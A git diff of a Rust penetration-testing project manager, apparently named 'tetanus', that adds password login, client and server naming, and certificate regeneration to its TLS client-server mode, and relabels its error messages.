let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
0,
|
0,
|
||||||
@@ -742,9 +811,23 @@ impl AppState {
|
|||||||
self.module_loader.commands.iter().for_each(|module| {
|
self.module_loader.commands.iter().for_each(|module| {
|
||||||
let _ = self
|
let _ = self
|
||||||
.main_tx
|
.main_tx
|
||||||
.send(ToolMessage::Output((0, format!("{}", module.0))));
|
.send(ToolMessage::Output((rid, format!("{}", module.0))));
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
"server_login" => {
|
||||||
|
if let Some(pass) = command_args {
|
||||||
|
let pass = pass.trim().to_string();
|
||||||
|
if let Some(server) = self.servers.get(self.selected_server) {
|
||||||
|
if let Ok(mut lock) = server.lock() {
|
||||||
|
lock.login(pass)?;
|
||||||
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
|
rid,
|
||||||
|
"[success] Logged into Server!".to_string(),
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
"exit" => {
|
"exit" => {
|
||||||
self.save_all()?;
|
self.save_all()?;
|
||||||
let _ = self.main_tx.send(ToolMessage::AppStateExit);
|
let _ = self.main_tx.send(ToolMessage::AppStateExit);
|
||||||
@@ -756,7 +839,7 @@ impl AppState {
|
|||||||
if self.module_loader.asts.get(command_name).is_none() {
|
if self.module_loader.asts.get(command_name).is_none() {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("Error command not found: {}", command_name),
|
format!("[error] command not found: {}", command_name),
|
||||||
)));
|
)));
|
||||||
return Ok(());
|
return Ok(());
|
||||||
}
|
}
|
||||||
@@ -847,7 +930,7 @@ impl AppState {
|
|||||||
Err(err) => {
|
Err(err) => {
|
||||||
let _ = tx.send(ToolMessage::Output((
|
let _ = tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("Script Error in execution: {}", err),
|
format!("Script [error] in execution: {}", err),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -893,7 +976,7 @@ impl AppState {
|
|||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!(
|
format!(
|
||||||
"error making project files! {e} on {}",
|
"[error] making project files! {e} on {}",
|
||||||
project_files.display()
|
project_files.display()
|
||||||
),
|
),
|
||||||
)));
|
)));
|
||||||
@@ -905,7 +988,7 @@ impl AppState {
|
|||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!(
|
format!(
|
||||||
"error making project notes! {e} on {}",
|
"[error] making project notes! {e} on {}",
|
||||||
project_notes.display()
|
project_notes.display()
|
||||||
),
|
),
|
||||||
)));
|
)));
|
||||||
@@ -917,7 +1000,7 @@ impl AppState {
|
|||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!(
|
format!(
|
||||||
"error making config folder! {e} on {}",
|
"[error] making config folder! {e} on {}",
|
||||||
project_conf_folder.display()
|
project_conf_folder.display()
|
||||||
),
|
),
|
||||||
)));
|
)));
|
||||||
@@ -939,7 +1022,7 @@ impl AppState {
|
|||||||
Err(e) => {
|
Err(e) => {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("error copying note template! {e}"),
|
format!("[error] copying note template! {e}"),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -949,7 +1032,7 @@ impl AppState {
|
|||||||
Err(e) => {
|
Err(e) => {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("error copying note template! {e}"),
|
format!("[error] copying note template! {e}"),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -988,7 +1071,7 @@ impl AppState {
|
|||||||
rid,
|
rid,
|
||||||
String::from("promoting project..."),
|
String::from("promoting project..."),
|
||||||
)))?;
|
)))?;
|
||||||
let return_string = String::from("Project promoted successfully!");
|
let return_string = String::from("[success] Project promoted!");
|
||||||
let mut new_project = self.projects[self.selected_project].clone();
|
let mut new_project = self.projects[self.selected_project].clone();
|
||||||
let new_files_path = PathBuf::from(self.config.get("current_files").unwrap())
|
let new_files_path = PathBuf::from(self.config.get("current_files").unwrap())
|
||||||
.join(format!("{}/{}", new_project.org_name, new_project.name));
|
.join(format!("{}/{}", new_project.org_name, new_project.name));
|
||||||
@@ -1002,7 +1085,7 @@ impl AppState {
|
|||||||
copy(new_project.notes.clone(), new_notes_path.clone(), &options)?;
|
copy(new_project.notes.clone(), new_notes_path.clone(), &options)?;
|
||||||
self.main_tx.send(ToolMessage::Output((
|
self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
String::from("folders copied successfully!"),
|
String::from("[success] folders copied!"),
|
||||||
)))?;
|
)))?;
|
||||||
remove_dir_all(&new_project.files)?;
|
remove_dir_all(&new_project.files)?;
|
||||||
remove_dir_all(&new_project.notes)?;
|
remove_dir_all(&new_project.notes)?;
|
||||||
@@ -1080,6 +1163,10 @@ impl AppState {
|
|||||||
client_id: 0,
|
client_id: 0,
|
||||||
selected_client: 0,
|
selected_client: 0,
|
||||||
config: None,
|
config: None,
|
||||||
|
logged_in: false,
|
||||||
|
password: String::new(),
|
||||||
|
name: String::new(),
|
||||||
|
cert_text: String::new(),
|
||||||
};
|
};
|
||||||
self.servers.push(Arc::new(Mutex::new(new_server)));
|
self.servers.push(Arc::new(Mutex::new(new_server)));
|
||||||
self.prompt.action = None;
|
self.prompt.action = None;
|
||||||
@@ -1118,6 +1205,10 @@ pub struct Server {
|
|||||||
pub action_que: Vec<String>,
|
pub action_que: Vec<String>,
|
||||||
pub client_id: usize,
|
pub client_id: usize,
|
||||||
pub selected_client: usize,
|
pub selected_client: usize,
|
||||||
|
pub logged_in: bool,
|
||||||
|
pub password: String,
|
||||||
|
pub name: String,
|
||||||
|
pub cert_text: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Server {
|
impl Server {
|
||||||
@@ -1136,6 +1227,7 @@ impl Server {
|
|||||||
pub fn connect(&mut self) -> Result<usize, Box<dyn Error>> {
|
pub fn connect(&mut self) -> Result<usize, Box<dyn Error>> {
|
||||||
if let Ok(cert) = self.donwload_certificate() {
|
if let Ok(cert) = self.donwload_certificate() {
|
||||||
self.config = Some(self.build_tls_config(cert.as_str())?);
|
self.config = Some(self.build_tls_config(cert.as_str())?);
|
||||||
|
self.cert_text = cert;
|
||||||
}
|
}
|
||||||
let mut stream = self.tls_connect()?;
|
let mut stream = self.tls_connect()?;
|
||||||
stream.write("HELLO".as_bytes())?;
|
stream.write("HELLO".as_bytes())?;
|
||||||
@@ -1150,11 +1242,30 @@ impl Server {
|
|||||||
return Ok(self.client_id);
|
return Ok(self.client_id);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub fn login(&mut self, pass: String) -> Result<(), Box<dyn Error>> {
|
||||||
|
let mut stream = self.tls_connect()?;
|
||||||
|
stream.write(format!("NONE**{}|||LOGIN|{}||", self.client_id, pass).as_bytes())?;
|
||||||
|
let mut buf = [0; 8192];
|
||||||
|
let bytes_read = stream.read(&mut buf)?;
|
||||||
|
let response = String::from_utf8_lossy(&buf[..bytes_read]);
|
||||||
|
if response.contains("successful") {
|
||||||
|
self.password = pass;
|
||||||
|
self.last_check = Instant::now();
|
||||||
|
self.logged_in = true;
|
||||||
|
self.message_que.push(format!("SET_NAME|{}", self.name));
|
||||||
|
return Ok(());
|
||||||
|
} else {
|
||||||
|
return Err("[error] logging in!".into());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub fn checkin(&mut self) {
|
pub fn checkin(&mut self) {
|
||||||
|
if self.logged_in {
|
||||||
if let Ok(mut stream) = self.tls_connect() {
|
if let Ok(mut stream) = self.tls_connect() {
|
||||||
self.last_check = Instant::now();
|
self.last_check = Instant::now();
|
||||||
let payload = format!(
|
let payload = format!(
|
||||||
"{}|||{}\n",
|
"{}**{}|||{}\n",
|
||||||
|
self.password.clone(),
|
||||||
self.client_id.clone(),
|
self.client_id.clone(),
|
||||||
self.message_que.join("||")
|
self.message_que.join("||")
|
||||||
);
|
);
|
||||||
@@ -1170,11 +1281,15 @@ impl Server {
|
|||||||
let response = String::from_utf8_lossy(&buffer[..bytes_read]);
|
let response = String::from_utf8_lossy(&buffer[..bytes_read]);
|
||||||
response.split("||").into_iter().for_each(|action| {
|
response.split("||").into_iter().for_each(|action| {
|
||||||
self.action_que.push(action.trim().to_string());
|
self.action_que.push(action.trim().to_string());
|
||||||
|
if action.contains("Not authenticated") {
|
||||||
|
self.logged_in = false;
|
||||||
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub fn build_tls_config(&self, pem: &str) -> Result<Arc<ClientConfig>, Box<dyn Error>> {
|
pub fn build_tls_config(&self, pem: &str) -> Result<Arc<ClientConfig>, Box<dyn Error>> {
|
||||||
let mut roots = RootCertStore::empty();
|
let mut roots = RootCertStore::empty();
|
||||||
@@ -1198,6 +1313,13 @@ impl Server {
|
|||||||
let tls_stream = StreamOwned::new(connection, tcp);
|
let tls_stream = StreamOwned::new(connection, tcp);
|
||||||
Ok(tls_stream)
|
Ok(tls_stream)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn disconnect(&mut self) -> Result<(), Box<dyn Error>> {
|
||||||
|
let mut stream = self.tls_connect()?;
|
||||||
|
stream.write(format!("{}**{}|||DISCONNECT||", self.password, self.client_id).as_bytes())?;
|
||||||
|
self.connected = false;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Clone, Debug)]
|
#[derive(Clone, Debug)]
|
||||||
@@ -1665,10 +1787,14 @@ impl ModuleLoader {
|
|||||||
engine.register_fn("write_file", |path: &str, contents: &str| {
|
engine.register_fn("write_file", |path: &str, contents: &str| {
|
||||||
std::fs::write(path, contents).is_ok()
|
std::fs::write(path, contents).is_ok()
|
||||||
});
|
});
|
||||||
engine.register_fn("find_scope_file", |path: PathBuf| -> String {
|
engine.register_fn("find_file", |path: PathBuf, filename: String| -> String {
|
||||||
for entry in walkdir::WalkDir::new(path).max_depth(10) {
|
for entry in walkdir::WalkDir::new(path).max_depth(10) {
|
||||||
if let Ok(entry) = entry {
|
if let Ok(entry) = entry {
|
||||||
if entry.file_name().to_string_lossy().contains("scope") {
|
if entry
|
||||||
|
.file_name()
|
||||||
|
.to_string_lossy()
|
||||||
|
.contains(filename.as_str())
|
||||||
|
{
|
||||||
return entry.path().display().to_string();
|
return entry.path().display().to_string();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1751,7 +1877,7 @@ impl ModuleLoader {
|
|||||||
let ast = match self.engine.compile_file(script_path.clone()) {
|
let ast = match self.engine.compile_file(script_path.clone()) {
|
||||||
Ok(compiled_ast) => compiled_ast,
|
Ok(compiled_ast) => compiled_ast,
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
eprintln!("Error compiling script in {:?}: {}", script_path, e);
|
eprintln!("[error] compiling script in {:?}: {}", script_path, e);
|
||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
@@ -1784,7 +1910,7 @@ impl DistroBox {
|
|||||||
if let Err(e) = self.stop_template(tx.clone(), rid) {
|
if let Err(e) = self.stop_template(tx.clone(), rid) {
|
||||||
tx.send(ToolMessage::Output((
|
tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("error stopping template box! {e}"),
|
format!("[error] stopping template box! {e}"),
|
||||||
)))?;
|
)))?;
|
||||||
return Ok(());
|
return Ok(());
|
||||||
}
|
}
|
||||||
@@ -1832,7 +1958,7 @@ impl DistroBox {
|
|||||||
if !status.success() {
|
if !status.success() {
|
||||||
let _ = tx.send(ToolMessage::Output((
|
let _ = tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("error creating distrobox!"),
|
format!("[error] creating distrobox!"),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1878,7 +2004,7 @@ impl DistroBox {
|
|||||||
if !status.success() {
|
if !status.success() {
|
||||||
let _ = tx.send(ToolMessage::Output((
|
let _ = tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("error stopping template distrobox!"),
|
format!("[error] stopping template distrobox!"),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
return Ok(());
|
return Ok(());
|
||||||
@@ -1915,7 +2041,7 @@ impl DistroBox {
|
|||||||
if !status.success() {
|
if !status.success() {
|
||||||
let _ = tx.send(ToolMessage::Output((
|
let _ = tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("error stopping distrobox!"),
|
format!("[error] stopping distrobox!"),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
return Ok(());
|
return Ok(());
|
||||||
@@ -1928,7 +2054,7 @@ impl DistroBox {
|
|||||||
if !res.success() {
|
if !res.success() {
|
||||||
let _ = tx.send(ToolMessage::Output((
|
let _ = tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("Error destroying distrobox!"),
|
format!("[error] destroying distrobox!"),
|
||||||
)));
|
)));
|
||||||
let _ = tx.send(ToolMessage::Output((
|
let _ = tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
|
|||||||
+45
@@ -1,6 +1,9 @@
|
|||||||
use clap::Parser;
|
use clap::Parser;
|
||||||
|
use rand::RngExt;
|
||||||
|
use rand::distr::Alphanumeric;
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::{Arc, Mutex};
|
||||||
use std::{env, path::PathBuf, process::exit};
|
use std::{env, path::PathBuf, process::exit};
|
||||||
|
use sysinfo::*;
|
||||||
use tetanus::funcs::*;
|
use tetanus::funcs::*;
|
||||||
use tetanus::server::start_server;
|
use tetanus::server::start_server;
|
||||||
use tetanus::{AppState, server};
|
use tetanus::{AppState, server};
|
||||||
@@ -46,6 +49,20 @@ struct Args {
|
|||||||
help = "Custom Config file. Give the path to a config file to use."
|
help = "Custom Config file. Give the path to a config file to use."
|
||||||
)]
|
)]
|
||||||
config: Option<PathBuf>,
|
config: Option<PathBuf>,
|
||||||
|
|
||||||
|
#[arg(
|
||||||
|
short = 'P',
|
||||||
|
long,
|
||||||
|
help = "the password for the server, in server mode it will set the password clients need to log in, in client mode it sets the password the client will use to login to the server. If blank it will generate a random password."
|
||||||
|
)]
|
||||||
|
password: Option<String>,
|
||||||
|
|
||||||
|
#[arg(
|
||||||
|
short,
|
||||||
|
long,
|
||||||
|
help = "The name to set this instance, on servers it will name the server so clients know who it is, on clients it names the clinet for server communications. This defaults to the hostname of the machine, or if the hostname can't be determined it falls back to the username of who runs it."
|
||||||
|
)]
|
||||||
|
name: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
@@ -78,6 +95,22 @@ async fn main() {
|
|||||||
}
|
}
|
||||||
let mut client_config_path = config_path.clone();
|
let mut client_config_path = config_path.clone();
|
||||||
client_config_path.push("client.conf");
|
client_config_path.push("client.conf");
|
||||||
|
let mut name = String::new();
|
||||||
|
let mut server_hostname = String::new();
|
||||||
|
if let Some(aname) = args.name {
|
||||||
|
name = aname;
|
||||||
|
} else {
|
||||||
|
if let Some(hostname) = System::host_name() {
|
||||||
|
name = hostname.clone();
|
||||||
|
server_hostname = hostname;
|
||||||
|
} else {
|
||||||
|
for (key, value) in env::vars() {
|
||||||
|
if key == "USERNAME" || key == "USER" {
|
||||||
|
name = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
if args.client {
|
if args.client {
|
||||||
if !client_config_path.exists() {
|
if !client_config_path.exists() {
|
||||||
eprintln!(
|
eprintln!(
|
||||||
@@ -92,6 +125,7 @@ async fn main() {
|
|||||||
eprintln!("error loading config!");
|
eprintln!("error loading config!");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
|
appstate.name = name;
|
||||||
appstate.initialize_modules();
|
appstate.initialize_modules();
|
||||||
println!("entering tui...");
|
println!("entering tui...");
|
||||||
let _res = run_tui(appstate, rx).unwrap();
|
let _res = run_tui(appstate, rx).unwrap();
|
||||||
@@ -109,11 +143,22 @@ async fn main() {
|
|||||||
address = format!("{}:{}", ip.trim(), port.trim());
|
address = format!("{}:{}", ip.trim(), port.trim());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
let mut server_pass: String = rand::rng()
|
||||||
|
.sample_iter(&Alphanumeric)
|
||||||
|
.take(12)
|
||||||
|
.map(char::from)
|
||||||
|
.collect();
|
||||||
|
if let Some(pass) = args.password {
|
||||||
|
server_pass = pass;
|
||||||
|
}
|
||||||
let new_server = server::Server {
|
let new_server = server::Server {
|
||||||
address,
|
address,
|
||||||
clients: Vec::new(),
|
clients: Vec::new(),
|
||||||
certificate_path,
|
certificate_path,
|
||||||
key_path,
|
key_path,
|
||||||
|
password: server_pass,
|
||||||
|
name,
|
||||||
|
hostname: server_hostname,
|
||||||
};
|
};
|
||||||
let res = start_server(Arc::new(Mutex::new(new_server))).await;
|
let res = start_server(Arc::new(Mutex::new(new_server))).await;
|
||||||
match res {
|
match res {
|
||||||
|
|||||||
+240
-28
@@ -1,12 +1,17 @@
|
|||||||
use rcgen::generate_simple_self_signed;
|
use rcgen::generate_simple_self_signed;
|
||||||
use std::error::Error;
|
use std::error::Error;
|
||||||
|
use std::fs;
|
||||||
use std::fs::File;
|
use std::fs::File;
|
||||||
use std::fs::write;
|
use std::fs::write;
|
||||||
use std::io::BufReader;
|
use std::io::BufReader;
|
||||||
use std::net::SocketAddr;
|
use std::net::SocketAddr;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::{Arc, Mutex};
|
||||||
|
use std::thread::sleep;
|
||||||
|
use std::time::Duration;
|
||||||
|
use std::time::Instant;
|
||||||
use std::usize;
|
use std::usize;
|
||||||
|
use tokio::fs::read_to_string;
|
||||||
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
|
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
|
||||||
use tokio::net::{TcpListener, TcpStream};
|
use tokio::net::{TcpListener, TcpStream};
|
||||||
use tokio_rustls::TlsAcceptor;
|
use tokio_rustls::TlsAcceptor;
|
||||||
@@ -27,6 +32,11 @@ pub struct Client {
|
|||||||
controlling: usize,
|
controlling: usize,
|
||||||
controlled: usize,
|
controlled: usize,
|
||||||
output_que: Vec<String>,
|
output_que: Vec<String>,
|
||||||
|
logged_in: bool,
|
||||||
|
timer: Duration,
|
||||||
|
last_check: Instant,
|
||||||
|
remove: bool,
|
||||||
|
name: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
pub struct Server {
|
pub struct Server {
|
||||||
@@ -34,27 +44,52 @@ pub struct Server {
|
|||||||
pub clients: Vec<Client>,
|
pub clients: Vec<Client>,
|
||||||
pub certificate_path: PathBuf,
|
pub certificate_path: PathBuf,
|
||||||
pub key_path: PathBuf,
|
pub key_path: PathBuf,
|
||||||
|
pub password: String,
|
||||||
|
pub name: String,
|
||||||
|
pub hostname: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
|
pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
|
||||||
let lock = server.lock().unwrap();
|
let lock = server.lock().unwrap();
|
||||||
if !lock.certificate_path.exists() || !lock.key_path.exists() {
|
let mut name_path = lock.certificate_path.clone();
|
||||||
|
name_path.pop();
|
||||||
|
name_path.push("names.txt");
|
||||||
let (server_ip, _) = lock.address.split_once(':').unwrap();
|
let (server_ip, _) = lock.address.split_once(':').unwrap();
|
||||||
|
let server_hostname = lock.hostname.clone();
|
||||||
let cert = generate_simple_self_signed(vec![
|
let current_config_names = vec![
|
||||||
server_ip.to_string(),
|
server_hostname,
|
||||||
|
server_ip.trim().to_string(),
|
||||||
"127.0.0.1".to_string(),
|
"127.0.0.1".to_string(),
|
||||||
"localhost".to_string(),
|
"localhost".to_string(),
|
||||||
])?;
|
];
|
||||||
|
let mut regen = true;
|
||||||
|
if let Ok(saved_names_string) = read_to_string(&name_path).await {
|
||||||
|
let mut saved_names = Vec::new();
|
||||||
|
saved_names_string.lines().for_each(|line| {
|
||||||
|
saved_names.push(line.trim().to_string());
|
||||||
|
});
|
||||||
|
if saved_names == current_config_names {
|
||||||
|
regen = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Err(_) = load_certs(&lock.certificate_path) {
|
||||||
|
regen = true;
|
||||||
|
}
|
||||||
|
if regen {
|
||||||
|
println!("regenerating TLS certificate...");
|
||||||
|
if lock.certificate_path.exists() {
|
||||||
|
fs::remove_file(&lock.certificate_path)?;
|
||||||
|
fs::remove_file(&lock.key_path)?;
|
||||||
|
sleep(Duration::from_secs(3));
|
||||||
|
}
|
||||||
|
let name_config = current_config_names.clone().join("\n");
|
||||||
|
write(name_path, name_config.as_bytes())?;
|
||||||
|
let cert = generate_simple_self_signed(current_config_names)?;
|
||||||
write(&lock.certificate_path, cert.cert.pem())?;
|
write(&lock.certificate_path, cert.cert.pem())?;
|
||||||
|
|
||||||
write(&lock.key_path, cert.signing_key.serialize_pem())?;
|
write(&lock.key_path, cert.signing_key.serialize_pem())?;
|
||||||
}
|
}
|
||||||
|
|
||||||
let certs = load_certs(&lock.certificate_path)?;
|
let certs = load_certs(&lock.certificate_path)?;
|
||||||
let key = load_key(&lock.key_path)?;
|
let key = load_key(&lock.key_path)?;
|
||||||
|
|
||||||
let tls_config = ServerConfig::builder()
|
let tls_config = ServerConfig::builder()
|
||||||
.with_no_client_auth()
|
.with_no_client_auth()
|
||||||
.with_single_cert(certs, key)?;
|
.with_single_cert(certs, key)?;
|
||||||
@@ -64,15 +99,14 @@ pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Erro
|
|||||||
let listener = TcpListener::bind(lock.address.clone()).await?;
|
let listener = TcpListener::bind(lock.address.clone()).await?;
|
||||||
|
|
||||||
println!("Listening on {}", lock.address);
|
println!("Listening on {}", lock.address);
|
||||||
|
println!("password: {}", lock.password);
|
||||||
|
|
||||||
drop(lock);
|
drop(lock);
|
||||||
|
|
||||||
loop {
|
loop {
|
||||||
let (stream, addr) = listener.accept().await?;
|
let (stream, addr) = listener.accept().await?;
|
||||||
|
|
||||||
let acceptor = acceptor.clone();
|
let acceptor = acceptor.clone();
|
||||||
let server = server.clone();
|
let server = server.clone();
|
||||||
|
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
let mut peek = [0u8; 8];
|
let mut peek = [0u8; 8];
|
||||||
if let Ok(n) = stream.peek(&mut peek).await {
|
if let Ok(n) = stream.peek(&mut peek).await {
|
||||||
@@ -161,6 +195,11 @@ where
|
|||||||
controlled: 0,
|
controlled: 0,
|
||||||
controlling: 0,
|
controlling: 0,
|
||||||
output_que: Vec::new(),
|
output_que: Vec::new(),
|
||||||
|
logged_in: false,
|
||||||
|
timer: Duration::from_secs(5),
|
||||||
|
last_check: Instant::now(),
|
||||||
|
remove: false,
|
||||||
|
name: String::new(),
|
||||||
};
|
};
|
||||||
connected = true;
|
connected = true;
|
||||||
id = new_client.id.clone();
|
id = new_client.id.clone();
|
||||||
@@ -174,37 +213,88 @@ where
|
|||||||
println!("client connected! ID:{}", id,);
|
println!("client connected! ID:{}", id,);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if let Some((source, data)) = msg.split_once("|||") {
|
let mut authenticated = false;
|
||||||
|
let mut checkin = String::new();
|
||||||
|
if let Some((password, data)) = msg.split_once("**") {
|
||||||
|
checkin = data.to_string();
|
||||||
|
if let Ok(mut lock) = server.lock() {
|
||||||
|
if password.trim().to_string() == lock.password {
|
||||||
|
authenticated = true;
|
||||||
|
} else {
|
||||||
|
if let Some((id, _)) = data.split_once("|||") {
|
||||||
|
if let Ok(id) = id.parse::<usize>() {
|
||||||
|
lock.clients
|
||||||
|
.iter_mut()
|
||||||
|
.filter(|c| c.id == id)
|
||||||
|
.for_each(|c| {
|
||||||
|
if c.logged_in {
|
||||||
|
c.logged_in = false;
|
||||||
|
println!("{} provided an incorrect password!", c.id);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if authenticated {
|
||||||
|
if let Some((source, data)) = checkin.split_once("|||") {
|
||||||
if let Ok(source_id) = source.trim().parse::<usize>() {
|
if let Ok(source_id) = source.trim().parse::<usize>() {
|
||||||
let mut responses = Vec::new();
|
let mut responses = Vec::new();
|
||||||
if let Ok(mut lock) = server.lock() {
|
if let Ok(mut lock) = server.lock() {
|
||||||
if let Some(source_client) = lock.clients.iter_mut().find(|c| c.id == source_id)
|
let server_name = lock.name.clone();
|
||||||
|
if let Some(source_client) =
|
||||||
|
lock.clients.iter_mut().find(|c| c.id == source_id)
|
||||||
{
|
{
|
||||||
responses = source_client.actions.clone();
|
responses = source_client.actions.clone();
|
||||||
|
source_client.last_check = Instant::now();
|
||||||
}
|
}
|
||||||
data.split("||").into_iter().for_each(|action| {
|
data.split("||").into_iter().for_each(|action| {
|
||||||
if let Some((cmd, data)) = action.split_once("|") {
|
if let Some((cmd, data)) = action.split_once("|") {
|
||||||
match cmd.trim() {
|
match cmd.trim() {
|
||||||
|
"SET_NAME" => {
|
||||||
|
lock.clients
|
||||||
|
.iter_mut()
|
||||||
|
.filter(|c| c.id == source_id)
|
||||||
|
.for_each(|c| {
|
||||||
|
c.name = data.trim().to_string();
|
||||||
|
});
|
||||||
|
responses.push(ClientAction::Cmd(format!(
|
||||||
|
"SET_NAME|{}",
|
||||||
|
lock.name
|
||||||
|
)));
|
||||||
|
}
|
||||||
"OUTPUT" => {
|
"OUTPUT" => {
|
||||||
if let Some(dest_client) =
|
if let Some(dest_client) = lock
|
||||||
lock.clients.iter_mut().find(|c| c.controlling == source_id)
|
.clients
|
||||||
|
.iter_mut()
|
||||||
|
.find(|c| c.controlling == source_id)
|
||||||
{
|
{
|
||||||
dest_client.actions.push(ClientAction::Output(format!(
|
dest_client.actions.push(ClientAction::Output(
|
||||||
"from {}: {}",
|
format!(
|
||||||
|
"from {}({}): {}",
|
||||||
|
dest_client.name,
|
||||||
dest_client.id,
|
dest_client.id,
|
||||||
data.trim()
|
data.trim()
|
||||||
)));
|
),
|
||||||
|
));
|
||||||
} else {
|
} else {
|
||||||
if let Some(source_client) =
|
if let Some(source_client) =
|
||||||
lock.clients.iter_mut().find(|c| c.id == source_id)
|
lock.clients.iter_mut().find(|c| c.id == source_id)
|
||||||
{
|
{
|
||||||
source_client.output_que.push(data.trim().to_string());
|
source_client.output_que.push(format!(
|
||||||
|
"from {} (server): {}",
|
||||||
|
server_name,
|
||||||
|
data.trim()
|
||||||
|
));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
"CMD" => {
|
"CMD" => {
|
||||||
if let Some(dest_client) =
|
if let Some(dest_client) = lock
|
||||||
lock.clients.iter_mut().find(|c| c.controlled == source_id)
|
.clients
|
||||||
|
.iter_mut()
|
||||||
|
.find(|c| c.controlled == source_id)
|
||||||
{
|
{
|
||||||
dest_client
|
dest_client
|
||||||
.actions
|
.actions
|
||||||
@@ -243,14 +333,18 @@ where
|
|||||||
"deslelcting client: {}",
|
"deslelcting client: {}",
|
||||||
source_client.controlling
|
source_client.controlling
|
||||||
);
|
);
|
||||||
let dest_client_id = source_client.controlling.clone();
|
let dest_client_id =
|
||||||
|
source_client.controlling.clone();
|
||||||
if let Some(dest_client) = lock
|
if let Some(dest_client) = lock
|
||||||
.clients
|
.clients
|
||||||
.iter_mut()
|
.iter_mut()
|
||||||
.find(|c| c.id == dest_client_id)
|
.find(|c| c.id == dest_client_id)
|
||||||
{
|
{
|
||||||
dest_client.controlled = 0;
|
dest_client.controlled = 0;
|
||||||
println!("client {} deselected", dest_client.id);
|
println!(
|
||||||
|
"client {} deselected",
|
||||||
|
dest_client.id
|
||||||
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -262,8 +356,10 @@ where
|
|||||||
if source_client.controlled != 0 {
|
if source_client.controlled != 0 {
|
||||||
let dest_id = source_client.controlled.clone();
|
let dest_id = source_client.controlled.clone();
|
||||||
source_client.controlled = 0;
|
source_client.controlled = 0;
|
||||||
if let Some(dest_client) =
|
if let Some(dest_client) = lock
|
||||||
lock.clients.iter_mut().find(|c| c.id == dest_id)
|
.clients
|
||||||
|
.iter_mut()
|
||||||
|
.find(|c| c.id == dest_id)
|
||||||
{
|
{
|
||||||
dest_client.controlling = 0;
|
dest_client.controlling = 0;
|
||||||
}
|
}
|
||||||
@@ -273,10 +369,18 @@ where
|
|||||||
"LIST_CLIENTS" => {
|
"LIST_CLIENTS" => {
|
||||||
lock.clients.iter().for_each(|c| {
|
lock.clients.iter().for_each(|c| {
|
||||||
